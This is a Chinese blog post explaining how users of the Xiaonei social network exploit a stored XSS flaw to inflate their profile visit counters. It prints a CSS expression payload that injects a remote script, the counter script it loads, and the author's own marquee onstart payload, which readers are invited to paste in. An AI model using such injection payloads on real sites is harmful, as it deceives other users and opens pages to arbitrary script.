利用校内网XSS漏洞更改访问量

来源:梦之光芒

本来不想提校内网的XSS来着,因为太多,没有提的必要。

不过最近室友争着问我为什么有的人的空间访问量已经达到了几千万(在百度这里相对比较容易,因为文章的访问也算在内。而校内网的不算,所以几百万算是天文数字了),而且数字还在以每秒钟若干的数据增长!所以这里也给大家看下。

懂XSS的好友知道,这里便是利用上XSS了。看了看他们的代码(涂鸦板),大致如下:

<link href="A308676992321RAT.wma" type="text/css" rel="stylesheet" />
<div class=addJs>A247165747728HOR.wma</div>

其中A308676992321RAT.wma里的代码如下:

.addJs{
display:none;
background:expression((this.innerHTML!="")?(((this.innerHTML=unescape("jsfile=document.createElement%28%27script%27%29;jsfile.src=%27"+this.innerHTML+"%27;document.body.insertAdjacentElement%28%27BeforeBegin%27,jsfile%29;"))&&(eval(this.innerHTML))&&(this.innerHTML=""))==null?'red':'green'):'blue');
}

代码一

A247165747728HOR.wma里的代码如下:

function ChangeVcount()
{
var mc=28;
var mcc=parseInt(getEl('vcount').innerText);
mc+=mcc;
getEl('vcount').innerText=mc;
setTimeout("ChangeVcount()", 1000);
return true ;
}
ChangeVcount();

代码二

上面的代码挺有意思,甚至用到了Ajax Hacking的相关技术。

利用层叠样式表中的expression生成script标签,并将src指向A247165747728HOR.wma,在A247165747728HOR.wma里的getEl是校内网页面里定义好的document.getElementById的一个缩写函数:

function getEl(el){
return document.all?document.all[el]:document.getElementById(el);
}

其实懂js的朋友看校内网的代码都会感觉很差异,因为它里面已经有prototype.js了,但似乎在它那里有些大材小用了。汗,不应该说人家!继续说上面的代码!代码二先定义了一个基数,获取当前的访问量并加上基数,然后每一秒中执行一次。这样就达到了访问量不断增加的目的。

这个套路跟我当初通过百度的自定义CSS来增加版块的套路是一模一样的。但是同样的问题是在这里有些大材小用了。我当初之所以那么做是因为Ajax 不支持跨域操作的,但它这里似乎不存在此问题。而且另外一个问题是由于expression是不断检查属性的,所以当页面滚动或其他刷新操作时,cpu会占用很大。

另外就是代码太冗余了,所以我就又给室友编了一个,如果也想在校内网炫一把的好友可以参考着加入:

<marquee width="0.1px" onstart="vcount.innerHTML=new Date().getTime();">.</marquee>

marquee是文字移动标签,onstart事件是marquee独有的,当Marquee元素开始显示内容时触发此事件(所以这个事件是循环的)。除此之外还有onfinish:当Marquee元素完成需要显示的内容后触发此事件;onbounce:在Marquee内的内容移动至 Marquee显示范围之外时触发此事件(firefox和opera不支持这三个事件)。这里把width设为了0.1px(有些浏览器可能不支持到小数),是希望在最短的时间内响应事件,相当于给函数加上settimeout。当然用marqueed的scrollamount属性也可以,一般设为 100就够快的了。但用width的原因是隐藏那个仅有的“.”。

在onstart里的代码只有一句:vcount.innerHTML=new Date().getTime();

由于校内网屏蔽了“document”这个字符串,所以这里我没有使用document.getElementByID("vcount"),而是直接使用vcount,这仅在当前页面的脚本是允许的,一般如果是调用的js就会出错。innerHTML是插入HTML文档,后面的就是插入内容了。让我们看看插入了什么?——当前的时间,不过是一个不断增加的数字串,这个数字串的值是通过计算当前时间减去1970年1月1日所得到的毫秒级的时间串(1 万亿多哦!而且永远是递增的,不像他那个每回刷新都重新开始。如果嫌大,就除以一个1000变成秒,呵呵)。

好了,内容应该很简单,主要是给大家一个思路,往往变通地使用技术会更方便。

另外,由于快考试了,所以很少上网,写篇文章也要到凌晨才有时间,希望大家见谅!在这里Monyer祝大家也考试顺利哦。

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

  • prada

    哈哈,想不到你这里还有这种文章。现在,我也想改访问量,可是不懂代码。你的意思是把
    “.
    ”插入到个性涂鸦CSS处吗?

发表评论